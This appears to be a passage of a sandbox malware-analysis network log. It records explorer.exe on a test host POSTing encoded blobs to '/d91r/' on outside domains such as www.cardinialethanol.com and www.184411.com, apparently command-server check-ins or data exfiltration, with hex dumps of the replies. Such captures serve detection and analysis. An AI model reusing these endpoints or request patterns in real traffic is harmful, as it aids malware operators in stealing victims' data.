pO=dT9CueorpVZBXWuQry6q0Zq3q2FK3Fn1XviD2yDUxZRJpzCLTfgF2487IS68ca4_b7I2ja1O3Dop~CxppBzhMjKrhsd28iGgxi0aRZGc~Kb2eZuhqAbgd0(6~IHNd2H-4KMww9sv2Vde48NZr1KoVuk96HttCWWpudMb4TILn4oqqnZkafL5V8mmyEhEE_CX5gWh~sxW1am6O7xrP8DrQ9gsS3rloknDOLDjyKzIixbx21cbwqpeZOVsLDu05F8Xp0mI2x3PYwxi6rBQapf93QKFr_QVXZVK1X94MojRSXk_nuiGvOZ4N8EZS4VsH7mJIRVkI5qIE5nTsA7510zdK_QON-ZSMv8vXwJnA8lFsocLBo5isb~SaAucYwSrLc~4OkjGZW6iUetbIYfuKNPYGpJTWwkyGngv9k2-SKVT2Vbs4Fi3~oQQq91I1nr2oJ2sqFgQ4EgThbyfmE1SzQ5rjFtUSfL1J08RTlbyAmomSawxXIc-sjHKniaW5tD1nrm7ngbpT-s.
Mar 20, 2023 15:20:32.564435959 CET	773	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 20 Mar 2023 14:20:32 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.11.20	49843	45.56.79.23	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:19:34.216974020 CET	469	OUT	POST /d91r/ HTTP/1.1 Host: www.cardinialethanol.com Connection: close Content-Length: 184 Cache-Control: no-cache Origin: http://www.cardinialethanol.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.cardinialethanol.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 38 48 4c 51 72 42 73 6a 77 64 65 56 55 5f 33 79 73 58 4f 4f 45 48 79 6b 4c 70 76 52 41 71 75 70 6b 59 33 32 72 75 4e 52 6a 51 42 61 74 61 50 34 46 66 4a 5f 37 36 4a 6c 4f 46 62 59 34 51 6b 36 56 33 68 46 64 54 61 6a 74 4e 38 30 49 78 51 45 59 58 45 6c 54 37 30 76 5a 6f 65 4f 64 51 54 6f 54 6d 6c 58 72 36 53 75 34 69 6e 5a 6c 4b 77 6d 52 35 7a 52 4a 4f 68 79 76 67 6a 79 64 6f 6a 75 78 4b 56 6d 55 5a 57 69 59 70 38 72 4b 49 57 43 51 48 74 64 61 74 50 4d 62 73 28 32 39 72 56 32 44 59 47 69 75 39 51 58 6e 37 50 42 30 77 50 61 57 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=8HLQrBsjwdeVU_3ysXOOEHykLpvRAqupkY32ruNRjQBataP4FfJ_76JlOFbY4Qk6V3hFdTajtN80IxQEYXElT70vZoeOdQToTmlXr6Su4inZlKwmR5zRJOhyvgjydojuxKVmUZWiYp8rKIWCQHtdatPMbs(29rV2DYGiu9QXn7PB0wPaWg).
Mar 20, 2023 15:19:34.356545925 CET	470	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Mon, 20 Mar 2023 14:19:34 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 31 42 38 45 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 9d 69 53 db 4a da b0 bf 3f bf c2 a8 a6 18 fb 45 38 2c 59 4d 1c 86 00 49 38 93 40 0e 90 b3 0c 43 51 c2 16 a0 c4 48 3e b2 0c e1 80 ff fb 7b dd 77 77 4b ed 85 90 cc 33 f3 e1 a9 9a 53 33 41 96 5a ad 5e ee 7d eb 97 73 5b 7b 9b 87 bf 7f dc ae 5d 14 97 bd 57 ff f3 52 fe d4 7a 51 7a de 0e e2 34 78 f5 3f 35 fe 7b 79 11 47 5d 73 a9 3f 2f e3 22 aa 75 2e a2 7c 10 17 ed e0 d3 e1 9b c5 e7 b6 65 f5 f8 a2 28 fa 8b f1 1f c3 e4 aa 1d 7c 5d 1c 46 8b 9d ec b2 1f 15 c9 69 2f 0e 6a 9d 2c 2d e2 94 77 77 b6 db 71 f7 3c 0e 5e bd 1c 74 f2 a4 5f d4 8a 9b 7e dc 0e 8a f8 6b f1 e8 73 74 15 99 bb c1 ab fa 75 92 76 b3 eb e6 ee fe f6 a7 0f 77 77 75 fd db be 1d 35 1a cd 24 4d 8a f6 6d 3f 4f ae a2 ce 4d eb b6 93 65 5f 92 78 70 12 a7 11 9f ea b6 ce a2 de 20 1e 85 d1 e7 e8 6b eb b6 1b a7 37 27 bd 64 50 b4 8e 82 d3 e8 b2 99 e6 8b dd a8 88 9a 69 5c 04 c7 a3 d1 da 37 3e d3 cb a2 6e 9c 9f 30 f2 b3 e4 bc 7d fb b5 9f 74 5b c1 a7 eb df df 7c 7a f3 cb af 6f af 37 5e 7f fa a5 7b b8 75 de f9 18 84 bd a4 13 a7 83 f8 ef f1 4d 2b 58 ea ae 3e 7f 72 1a 3d 8f 96 82 30 ea f7 79 c4 1a 64 e9 ce 56 2b 58 5d 7e f2 74 f9 c5 d3 e7 c1 68 6d ad 5e 6f b4 5f dd 5e 45 79 2d 0e 8b 30 6f df be 58 7a b6 dc aa eb 0f 79 12 0c 07 71 6d 50 e4 49 a7 08 d6 f2 66 b7 5e 84 b7 3b 2d 79 29 1d 35 d6 e4 bd b4 bd 14 26 ed 34 ba 4a ce a3 22 cb 9b bc 90 6f 9c b3 c8 cd cb a8 e8 5c d4 1f bd 49 f2 f8 2c fb 7a f4 cf 47 ff 1c 1c d7 ff d9 5d f8 67 93 7f 1a 8f 1a 6b c9 fc 7c 3d 6d 2f 24 47 cb c7 8d 51 f8 f4 c9 d3 95 07 be fc f1 44 3f 7d 1e 7e 28 f4 e2 2a dc 7c a2 17 dd 70 eb bd 5e dc 84 7b 1f f5 e2 4b d8 7b a3 17 ef c2 df 87 7a b1 1d 6e 9d eb 45 3f dc fc 4d 2f ce c2 b7 db 7a 71 1d 0e 3e e9 c5 fb 72 52 b7 23 a6 9b d7 d3 46 28 b3 4e c3 db 48 e6 a4 8d 36 42 9d 99 5e 1f 84 57 71 3e 60 61 f5 d7 57 fb 7a d2 ce eb 4f 9f bd 78 d6 08 33 ae 5e 2c bd 68 84 11 17 cf 9f 2e 2f 35 d6 3a bd 68 30 a8 0d 00 98 94 85 1d 76 58 34 59 ef c6 6d 91 df dc 26 67 f5 b9 f8 ee 2e c8 4e 3f c7 2c f9 5c 5b e0 32 3b ab c5 8d 3c 2e 86 79 5a 5f 0a a3 e6 3f 1a f5 60 37 be ae 81 05 45 92 9e d7 a2 da a6 42 c7 30 17 d0 ab e5 02 fd 79 3c a8 45 69 cd f4 53 8b 06 b5 24 ed 0f 8b 80 45 e7 0b c5 8c 2f 14 93 5f 38 78 a8 f7 da 65 d6 8d 7b b5 22 93 81 d4 92 42 be 91 14 49 d4 ab f5 f3 ac 1f e7 05 e8 c0 07 f7 74 2a 4d 26 9d 9c a7 f5 e2 22 19 30 d9 d0 de 65 4d 73 9a d5 e3 46 f3 2c cb b7 23 00 a6 1e 03 77 bd b8 38 02 1e 8f db f1 9a ae 13 60 c6 d4 b3 e6 1f 8d 7a d1 58 4b 9b bd 38 3d 2f 2e e6 e7 f3 f9 79 b7 56 6d b7 56 dc 4b c7 7b 8b 19 59 8d db 75 b7 7c 7f 0d fe da a4 5f 70 82 a5 ff 6b 50 4b 58 2c 19 75 c1 a2 c7 dd 5a 54 30 aa d3 61 11 b3 84 dd 5a 87 75 4c b3 a2 76 1a 0b ed 49 cf 69 40 77 67 71 c4 86 c4 b5 bf 36 5c 4f 45 18 34 6b b5 9d a2 76 9d f4 7a b5 8b e8 2a e6 b5 5a 7c 76 46 a7 cd a0 d1 08 59 ad 98 3e f3 a3 18 78 e7 b7 ac c5 51 71 dc ce f9 31 62 2c 4c 3e 6e dc ba 31 06 1b 69 2d ce f3 2c af 65 9d 0e 5f ea d6 ae 2f 12 b6 77 f6 ae 07 61 dc 18 8d 46 66 b1 3a ed db d3 38 e2 ba 95 34 3b 71 d3 5c 87 da d9 6b ef be 77 c3 a7 1d 57 59 d2 ad 01 67 63 54 c3 de 1c 44 2d 7b f5 c7 30 1e c6 87 c9 65 ec 6e 78 ed fd db 45 f1 76 08 c9 b2 6f 09 75 70 d7 51 a7 93 0d c1 29 fb 88 e5 ef 82 0d ee 27 94 38 2f 3f f6 79 b0 e1 b6 64 d0 ba 1d 85 4a 64 aa 3b b6 07 b6 6d e0 5e e7 e5 74 10 75 84 e6 ed 46 d5 20 0b f9 f1 b1 17 25 a9 6d 48 5f 90 f3 b5 b3 61 aa 6d 6b 5d d9 02 c5 Data Ascii: 1B8EiSJ?E8,YMI8@CQH>{wwK3S3AZ^}s[{]WRzQz4x?5{yG]s?/"u.\|e(\|]Fi/j,-wwq<^t_~kstuvwwu5$Mm?OMe_xp k7'dPi\7>n0}t[\|zo7^{uM+X>r=0ydV+X]~thm^o_^Ey-0oXzyqmPIf^;-y)5&4J"o\I,zG]gk\|=m/$GQD?}~(\|p^{K{znE?M/zq>rR#F(NH6B^Wq>`aWzOx3^,h./5:h0vX4Ym&g.N?,\[2;<.yZ_?`7EB0y<EiS$E/_8xe{"BItM&"0eMsF,#w8`zXK8=/.yVmVK{Yu\|_pkPKX,uZT0aZuLvIi@wgq6\OE4kvz*Z\|vFY>xQq1b,L>n1i-,e_/waFf:84;q\kwWYgcTD-{0enxEvoupQ)'8/?ydJd;m^tuF %mH_amk]
Mar 20, 2023 15:19:34.356647015 CET	471	IN	Data Raw: c2 46 71 91 67 d7 b5 14 44 db 96 6d a8 07 1b 6c 6b 92 9e 65 16 ab 06 0e d3 04 d1 94 3c d4 12 08 7d 91 9c 25 71 3e 67 51 6d 28 9b 3d d5 d3 8e f4 02 c0 d7 02 07 3c 71 18 d4 ae 41 d3 34 86 a0 c8 1e 03 30 6b 06 e7 6b d2 c7 a8 1c e1 99 a1 16 ff a6 31 Data Ascii: FqgDmlke<}%q>gQm(=<qA40kk1Jmi@_GQSUz^84N9&pxP\|;h-bfip{^vs[k7'?p'".Ts_>-QN7dyr(z-13@n
Mar 20, 2023 15:19:34.356722116 CET	473	IN	Data Raw: 46 19 8b 58 37 dc d7 0d eb 78 1b b6 fa ec c9 8a 08 6d 79 fd d9 d2 0a 57 62 a5 7a bc f4 f8 89 31 53 ad ac ae 3c 71 e0 31 18 23 05 1d 83 62 06 72 30 16 0e 0a f6 ba 2b 44 14 02 06 1d 2c 6e 5a 51 b3 cf 5c ef ee 96 46 6b 43 80 32 1c 80 26 c2 0e 58 98 Data Ascii: FX7xmyWbz1S<q1#br0+D,nZQ\FkC2&X;5E=U<>D}V!yv/!fkz4?o8chx$E<ecH1ujbXf$&~,S)FG73l%y;^OrSV%oMP%of6?i
Mar 20, 2023 15:19:34.356795073 CET	474	IN	Data Raw: 3a 21 d3 cf a7 c5 bf 95 99 e2 df ca 31 e2 94 93 32 85 61 5b ab c5 d4 3c 05 1a 22 f8 92 07 10 56 4c fe df 7d af 9b 75 54 c4 9d 5e d9 ea 8b a3 50 ac 3c 0f 00 c8 3b e3 b5 8e c2 0f 0a 16 59 b8 df 33 88 1b 7e b9 d1 8b c1 14 a0 94 4b 9f b0 df 42 5e 01 Data Ascii: :!12a[<"VL}uT^P<;Y3~KB^`s`dcolo-GqkM4]\(%a?uqT}JeD?!Ja[G~2:J:uVYd8is^y.:
Mar 20, 2023 15:19:34.356869936 CET	475	IN	Data Raw: 08 a5 8f 0e 1d 74 b0 77 9d 7e 34 c1 93 37 15 5f b6 6a b3 e2 6e da ec 10 92 a4 13 77 08 8c 64 0d 37 40 4a 17 2e af 84 d7 f6 dc 8d cf 92 34 76 fd cd cf 7b 3e 8b 86 20 99 dd ab 99 ad e5 0b 8e 6b 24 e1 35 b6 7d 75 3c a2 f3 c5 29 7a 89 46 9a 4a 78 10 Data Ascii: tw~47_jnwd7@J.4v{> k$5}u<)zFJxl2v8d(&iU ted@_glqPVQFG#9Y%5CJ%-nc%YRsb!?u_5Ox5i8G.VavJ#
Mar 20, 2023 15:19:34.356942892 CET	476	IN	Data Raw: 8d f4 d6 e1 ce 07 db a4 17 6e ef 1a a1 74 08 e7 d9 38 fc b4 bf 7d b2 bb f1 c1 34 4e c2 37 bb 27 ee f9 99 fc 38 38 dc d8 3f d4 6d ee 86 7b fb 3b 6f cd 57 f5 c6 79 f8 f1 d3 c1 3b 69 71 68 de be 80 25 7a 5f 1e 94 3f 4f f8 fc ce ee db 93 d7 9f de bc Data Ascii: nt8}4N7'88?m{;oWy;iqh%z_?O?y1eaoPSjOaYQXa~{HtPXxcEddb4XaB< $%f#ias&t%Ejh/9c>Sk$N
Mar 20, 2023 15:19:34.357016087 CET	477	IN	Data Raw: 31 43 34 38 0d 0a 77 69 08 99 da f6 0e 64 0d ac 24 7e 88 7a b6 dd 3e d1 2d 0e 0f f5 e2 2c 23 9b e9 84 b4 0f af 4c 43 78 d0 3e 01 77 d5 b3 53 3f 1c 23 84 4a 01 c7 6f 91 94 62 8c 8a 64 d3 a2 cf 29 b1 da d4 68 be 43 fb 6b eb 5c 3c 58 db a2 c2 d8 3b Data Ascii: 1C48wid$~z>-,#LCx>wS?#Jobd)hCk\<X;owgI\|"auS5yBjQe{Xr)pLfVO}$_4m0uDh7P?Sb67a2cA*2MUyAqym53/q/QvEJdgIrz^".x
Mar 20, 2023 15:19:34.357088089 CET	479	IN	Data Raw: 5f 26 6b 8d 4c 32 36 24 ca 99 d8 3c 0b 1f b8 a3 45 e1 f1 63 b0 14 ec 45 40 21 c2 09 14 5c 43 84 30 64 9a 70 22 27 39 d6 c8 bf 41 43 64 e0 2a f8 64 da b2 7d 6b ef f9 59 42 39 5d 90 42 86 6f c5 b4 b7 49 14 e6 c7 88 ea 0b 18 81 92 66 2a 09 f2 b7 e6 Data Ascii: _&kL26$<EcE@!\C0dp"'9ACdd}kYB9]BoIfyr>PmG5/7{8f1FtVj.4le71Q.EbH`^/q4IO,n2Z5S/*3:2wlaaX~D/V'[f
Mar 20, 2023 15:19:34.357161045 CET	480	IN	Data Raw: 0f c1 cf 2e 8f 44 25 4c 2b 72 56 c3 56 00 4d 85 f8 3a 9d 4b e5 32 6b c2 99 93 34 70 14 bf a2 f9 81 2c 89 3c 0c fc 4a 94 4d 5b b7 10 cb c5 88 67 04 be 31 ed 54 9d 10 64 a3 30 5c 71 80 92 8b 62 4a db 76 e4 42 fd 5b 43 79 a8 be ac 2e 57 26 f5 e8 8c Data Ascii: .D%L+rVVM:K2k4p,<JM[g1Td0\qbJvB[Cy.W&+`Vb[\;VZ\+TedpPhz \Is9V`FJ?C2Dp')NEkpsglUV.) 7c3nA"n't+35Q;
Mar 20, 2023 15:19:34.357234001 CET	481	IN	Data Raw: c6 34 2f 13 27 46 45 8d 3e 7a 39 33 1f c7 d6 a2 50 31 eb 33 54 d7 94 20 db e4 4a 8b ce 2a 5d de 09 77 e5 89 a4 82 53 4f 14 81 5e 53 c6 bf c8 3d c2 73 1b e1 7b b1 a9 bf f3 e8 24 a9 08 13 15 4a 4d 96 f6 e0 22 bb 86 95 bb d9 b2 a8 b7 e4 9c 4a d1 5f Data Ascii: 4/'FE>z93P13T J]wSO^S=s{$JM"J_JuBU&&&@/%E:?q80~EnJMkQqO/ECBj5E6#>&>sa_y eQTIy.jI~L,JZYyCjif-N?P>'
Mar 20, 2023 15:19:34.490550041 CET	483	IN	Data Raw: d6 71 85 5a ff 3a 06 b2 46 9a 3f 5a 59 5a 0a 9f 2c 51 24 fa 2f d6 41 84 61 a0 fd ba 1e ec ec 7e 24 60 20 1b a3 ef df cb 3e 0b d1 a0 25 d3 07 a3 f2 a2 39 e5 4f 0c 91 4a c5 ad 06 33 27 44 54 5c 71 e5 50 3d 6d be 24 f7 f7 36 a9 e8 b5 48 f7 25 f1 16 Data Ascii: qZ:F?ZYZ,Q$/Aa~$` >%9OJ3'DT\qP=m$6H%MFU<)=:6T%D%iXzP=#2 F]C)yib${~L,qq^bU<:oXq5c_32\^^oj^Z'q?y[xW, 7{BHYr&Hh

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.11.20	49865	154.215.156.6	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:20:35.081677914 CET	780	OUT	POST /d91r/ HTTP/1.1 Host: www.184411.com Connection: close Content-Length: 51812 Cache-Control: no-cache Origin: http://www.184411.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.184411.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 64 54 39 43 75 65 6f 72 70 56 5a 42 58 57 75 51 72 79 36 71 30 5a 71 33 71 32 46 4b 33 46 6e 31 58 76 69 44 32 79 44 55 78 5a 5a 4a 71 43 69 4c 53 2d 67 46 33 34 38 37 42 79 36 78 63 61 34 75 62 5f 73 36 6a 61 35 6b 33 42 51 70 28 56 31 70 71 33 6e 68 4a 6a 4b 32 39 63 64 30 75 53 47 30 78 6a 49 47 52 5a 53 69 7e 37 28 32 66 65 4b 68 74 7a 7a 6a 41 55 28 38 7e 49 48 4a 51 57 48 63 34 4b 49 47 77 39 77 76 32 58 70 65 7e 4f 46 5a 70 43 65 6f 59 65 6b 38 76 58 74 79 4c 32 57 6d 75 64 5a 69 34 54 49 62 6e 36 45 71 71 6c 52 6b 62 66 33 36 56 63 6d 6d 73 30 68 46 41 5f 65 54 35 67 4b 35 7e 74 56 57 31 59 6d 36 42 37 78 72 66 4e 44 6b 48 74 68 6e 46 6e 72 32 35 30 6a 62 4f 4c 57 59 79 4f 6a 49 69 68 28 78 32 47 45 62 79 49 42 65 65 65 56 75 45 6a 75 72 77 6c 38 4c 70 30 33 6e 32 77 58 78 59 78 5a 69 37 4a 5a 51 66 4b 48 2d 7e 51 4b 66 31 76 51 36 47 70 5a 57 31 58 74 6b 4d 6f 6a 42 53 54 55 5f 6e 65 53 47 75 4d 78 35 4a 73 45 65 59 6f 55 30 65 4c 72 49 49 56 4e 73 49 34 69 6d 45 36 4c 54 74 67 37 35 33 54 6e 65 41 50 52 45 53 4f 59 56 43 50 39 35 58 77 31 4b 41 2d 49 77 74 63 55 4c 42 59 4a 69 6d 72 7e 64 52 77 75 51 54 51 53 74 50 63 7e 34 4f 6b 75 33 5a 57 32 69 56 72 5a 62 4c 4c 72 75 42 2d 58 59 45 70 4a 64 57 77 6c 38 47 6e 64 66 39 6b 7e 51 53 4a 38 47 32 58 33 73 32 31 65 33 37 70 51 54 76 4e 31 4a 78 6e 72 68 72 35 37 7a 71 46 38 49 34 45 78 6f 68 73 43 66 6e 48 64 53 33 51 35 6f 6f 46 74 4f 62 5f 4c 76 4e 30 77 4e 54 6c 58 45 41 6d 30 51 53 59 77 78 56 4d 46 34 37 67 75 4d 77 44 6d 33 35 4c 6e 79 75 4c 69 33 34 6c 33 68 4f 62 53 67 4b 59 4e 50 28 54 69 56 68 43 70 5a 7e 67 33 58 35 46 58 49 46 75 37 71 75 31 37 50 70 75 33 4b 30 32 37 48 34 70 4c 62 72 63 6f 6b 54 49 28 50 32 31 48 6d 69 70 59 61 72 50 6e 79 74 45 69 72 70 4c 6b 62 62 67 78 76 53 37 47 76 50 53 68 70 48 31 4e 55 78 46 33 63 6b 61 4f 6a 72 7a 64 2d 46 4a 34 72 6f 56 4c 48 61 53 39 6e 57 78 73 6e 43 72 77 57 79 4f 64 5f 70 4d 62 56 7a 31 67 79 36 4f 46 4d 51 45 47 53 78 4e 39 63 77 6a 44 2d 49 63 35 6c 67 77 68 42 30 42 4d 7a 4a 63 43 66 55 6b 72 42 5a 62 36 33 65 48 41 2d 57 78 5a 75 4f 58 76 6f 4a 38 49 7a 6d 63 6a 35 38 42 6b 56 33 4b 6e 50 7a 2d 48 32 55 56 50 7a 46 73 43 32 76 35 6a 4b 55 74 74 50 73 34 59 78 78 77 68 33 6d 52 6c 6c 52 79 76 68 30 57 4a 4c 53 66 7e 4b 66 59 4d 78 67 6d 32 53 58 63 47 38 34 64 78 34 6e 72 6a 2d 69 75 33 31 6a 5a 59 68 67 53 62 67 4a 62 43 35 41 56 33 54 39 38 6e 76 72 67 4f 58 28 53 61 62 4b 76 34 61 37 73 37 6b 54 52 4a 74 41 74 48 4a 62 32 50 37 48 62 6a 51 57 73 49 51 6d 4e 37 77 69 50 59 73 46 65 72 5f 7a 68 67 39 42 56 6e 37 4d 73 78 4a 46 31 39 4b 59 4a 6f 51 63 45 6d 48 57 52 65 71 6b 31 78 48 66 2d 33 44 71 6a 30 32 6f 53 64 46 31 53 46 6c 4d 61 43 56 56 44 4b 70 4c 37 62 4d 59 73 6e 69 49 73 73 31 35 52 54 78 52 2d 61 74 55 4a 54 64 51 6e 4e 48 47 72 55 73 49 6e 68 36 4f 76 69 33 48 4a 30 44 43 50 6d 67 64 52 66 62 42 57 63 37 74 6f 63 4f 4b 73 56 59 6f 77 48 42 4d 6e 71 49 64 6d 57 31 39 32 50 47 6e 78 51 58 33 66 63 4d 49 72 56 34 67 4e 57 5f 46 6c 6d 78 78 44 4f 78 37 7a 4c 71 31 49 6c 77 41 58 7a 53 43 58 5a 4d 45 32 71 50 41 49 77 4c 39 38 56 2d 62 6e 39 34 4a 53 4a 72 36 63 43 48 4a 5a 53 6c 5a 4c 59 4a 72 42 32 73 66 32 6c 79 57 74 70 53 48 43 66 52 33 65 6e 41 48 63 54 33 37 54 32 4b 34 4c 53 68 71 38 4a 55 7e 36 6c 51 71 5f 62 61 4b 6c 72 75 5a 4f 51 44 7e 62 78 44 77 74 39 71 78 33 50 72 78 53 63 35 70 32 64 5a 4d 46 51 66 58 42 28 36 68 5a 6c 32 69 62 36 74 7a 53 69 34 30 4a 66 35 74 7a 4e 62 6e 39 78 61 4d 6a 6c 34 35 57 4f 6e 76 5f 75 48 30 4c 4b 62 71 63 66 6f 4b 47 5a 63 7a 64 73 39 32 72 28 61 7a 65 71 7a 63 6a 62 39 49 30 58 57 67 49 64 2d 55 67 30 5a 4d 70 51 64 56 61 75 6c 56 47 42 45 55 36 64 69 69 4a 7e 7a 38 51 4b 55 43 5a 38 37 31 49 6d 39 67 42 4c 6e 7a 4b 7e 53 39 38 67 34 69 76 42 6c 6d 75 46 68 63 4b 28 57 6a 31 6e 76 43 37 36 31 41 2d 51 4d 62 4d 61 7a 43 6a 58 53 39 58 69 36 53 34 53 6c 68 33 36 34 59 38 6e 63 70 77 32 53 4a 72 34 73 6b 50 7a 55 78 41 63 7a 77 71 46 53 47 33 53 4d 6c 35 6c 77 71 45 44 75 42 34 75 6c 58 2d 6f 42 6a 76 70 38 78 47 54 46 66 47 50 51 Data Ascii: pO=dT9CueorpVZBXWuQry6q0Zq3q2FK3Fn1XviD2yDUxZZJqCiLS-gF3487By6xca4ub_s6ja5k3BQp(V1pq3nhJjK29cd0uSG0xjIGRZSi~7(2feKhtzzjAU(8~IHJQWHc4KIGw9wv2Xpe~OFZpCeoYek8vXtyL2WmudZi4TIbn6EqqlRkbf36Vcmms0hFA_eT5gK5~tVW1Ym6B7xrfNDkHthnFnr250jbOLWYyOjIih(x2GEbyIBeeeVuEjurwl8Lp03n2wXxYxZi7JZQfKH-~QKf1vQ6GpZW1XtkMojBSTU_neSGuMx5JsEeYoU0eLrIIVNsI4imE6LTtg753TneAPRESOYVCP95Xw1KA-IwtcULBYJimr~dRwuQTQStPc~4Oku3ZW2iVrZbLLruB-XYEpJdWwl8Gndf9k~QSJ8G2X3s21e37pQTvN1Jxnrhr57zqF8I4ExohsCfnHdS3Q5ooFtOb_LvN0wNTlXEAm0QSYwxVMF47guMwDm35LnyuLi34l3hObSgKYNP(TiVhCpZ~g3X5FXIFu7qu17Ppu3K027H4pLbrcokTI(P21HmipYarPnytEirpLkbbgxvS7GvPShpH1NUxF3ckaOjrzd-FJ4roVLHaS9nWxsnCrwWyOd_pMbVz1gy6OFMQEGSxN9cwjD-Ic5lgwhB0BMzJcCfUkrBZb63eHA-WxZuOXvoJ8Izmcj58BkV3KnPz-H2UVPzFsC2v5jKUttPs4Yxxwh3mRllRyvh0WJLSf~KfYMxgm2SXcG84dx4nrj-iu31jZYhgSbgJbC5AV3T98nvrgOX(SabKv4a7s7kTRJtAtHJb2P7HbjQWsIQmN7wiPYsFer_zhg9BVn7MsxJF19KYJoQcEmHWReqk1xHf-3Dqj02oSdF1SFlMaCVVDKpL7bMYsniIss15RTxR-atUJTdQnNHGrUsInh6Ovi3HJ0DCPmgdRfbBWc7tocOKsVYowHBMnqIdmW192PGnxQX3fcMIrV4gNW_FlmxxDOx7zLq1IlwAXzSCXZME2qPAIwL98V-bn94JSJr6cCHJZSlZLYJrB2sf2lyWtpSHCfR3enAHcT37T2K4LShq8JU~6lQq_baKlruZOQD~bxDwt9qx3PrxSc5p2dZMFQfXB(6hZl2ib6tzSi40Jf5tzNbn9xaMjl45WOnv_uH0LKbqcfoKGZczds92r(azeqzcjb9I0XWgId-Ug0ZMpQdVaulVGBEU6diiJ~z8QKUCZ871Im9gBLnzK~S98g4ivBlmuFhcK(Wj1nvC761A-QMbMazCjXS9Xi6S4Slh364Y8ncpw2SJr4skPzUxAczwqFSG3SMl5lwqEDuB4ulX-oBjvp8xGTFfGPQPZEGQtKXzhE7zpLiymE0v86Y94uJ(Q4NJGKmGx7GXMKfhIbqdj7HhmTOdK4qDGKJi-l7cuG2RN0323o9Q8Cm1ZMuMMkPWxDCC2PTZzNMiwbJwpaIRaVr4GFMakk664L7n7vhhB2kDtArGx~UwKTPmPWCStr0SepRHIBsydyXE7X5Q5vPbXAwTWdP2XJVFaG-xK5EXVRDochVN94ivYi9THm8Ta6Z9cBEER64ivuMX2H-135dsVse5mXN~4CxjT0GGYbwgLbhLC1FIuQRi9ElYqvStk8V5gz9UriU~ccJ6R7-chIwtn(dXZoVcSN6FQ6Fr8u2cFF0OR60Sv1PSSErIqBrCjt2hPhWb_T2rmWC0RuvVdSII9Ea4cXGk6PCz75fsq4LkeH1tKqOPldlswDNDRmkxbFcQSo2Ti2hqUw-JyfeZXP_mTb3tXXxRIcXC7jq8cy9CA6sjbcBodhIdX5cZJBWVBjNW5szBT80d8lOjNPwwBmShAW9b-bhKE4FQK~BI1OAmOyh1XjATVH4w2nXS6q7WRmKVXOE4sDYJISzQINjS9IbS7xp8aAN~ldsXhSuXKFxFukcM_3tNDOeJV9FOnlhZEK2iTTGBgAqWg9ECaVeFSDM81AFwTXUdnrFIc57Br59P1dJzOB9~TBpXqLmL0zlCdSRUdwV3zamd8IHhlSKRvs_zAikks7MgiicB_TDBEDnD1kExiN930ahdFgMvqUXGKVjkRqi63YP6rGg~04WIfzkQDVwQ7gxkjaAWk4T99va6qnn188A3FKapSmNeppPs6Bou4NTUXqOBnQojeh9SblMAlrdlulr3IWeTh09ETvNpAek~50UouJ6YDoJ~EwxR5VE0dHXGFPBtEEEPPMOvOZqP6anfHcTy_LZ(RkOchNNIBTklhOgFbws40Vf~bOrEwYVLD~YsQR3ZP2YmH4cHFpxqm2miV(cl7xxgIyQi8SW7fcytCE9dCpnLMErCTA0rNZJAUYuFKzC1UdF~6EtH7X66UzP0kvplpDqrwEsgNxyO6H2CCAHEseoOuNi19pXxsW4EZVFAtz-Q_9MWb(iX3Id3pmegqKpcYJwY-sGJgEXSLoiyBCueUesEIpHksZsK7fdErrf2f6jN7hPTOpeu44cZM2fVoTVBZO-EdlTq0sRsMTepzF8X73WmDiiE18OdDSaky9fllNfZ39uoESBZIwE7LUZmSsm6KQMDaDVtuKDnKHlLSaCCwnj0mU9T8etj0DfcXxzfH9593xwZVbM50J55lBHSoyxuIhu4B97NPfrhtn6f8p40Yaeusud67TIXXmTfc63ZW8HGI81UODyF2wlX3U2Nr(QewHoUKP-szDWL4RhCf9X8w1wPQ(HAxU7DJk-XmuLJnFamATjP83b1FhRVbh5BrcFaTdQdNAoSj9mqzqnIKGzmpQcAV9uikOTnYXvDRf68hrPJmb3qiP8c0CyIprJarZIAN7cs_oXJ9u6(JC1O9XXQKIvxpQzPyXuHGLxii~nfNSrtGPVw2rRWbOK05NPPvuqLvGuAhU4jjpZhTSezd(SSU(N8zLyqQ4aMdwZ7fuvsfbfNFZV4wC_R33H32SxhhfQIDN2uk(y6ry4iqA9Rv6YmLkbS63RDKeq4WI7x-xu4UdWZ006zxiN6oEx~hq-171dqNREuSPE9E7c2PCG4zqc8fC1TvMkd9Zqe65sEz6mNHfbXDfvzbpjFmBxGlHakc0hswffY4rLHJdY1GRXYRmKLgiYL6ATUml57vhXXtmWm4CWsPLpr5~25iZChs3hNGa3Yv4GOCj9s0DhQrLoP6uTuKFX(ax3hhdr9yCPD7kKNBi9UglUcxgtKoLtdJVvArqIgsll9LTJ9oDIZaT5HVyxpB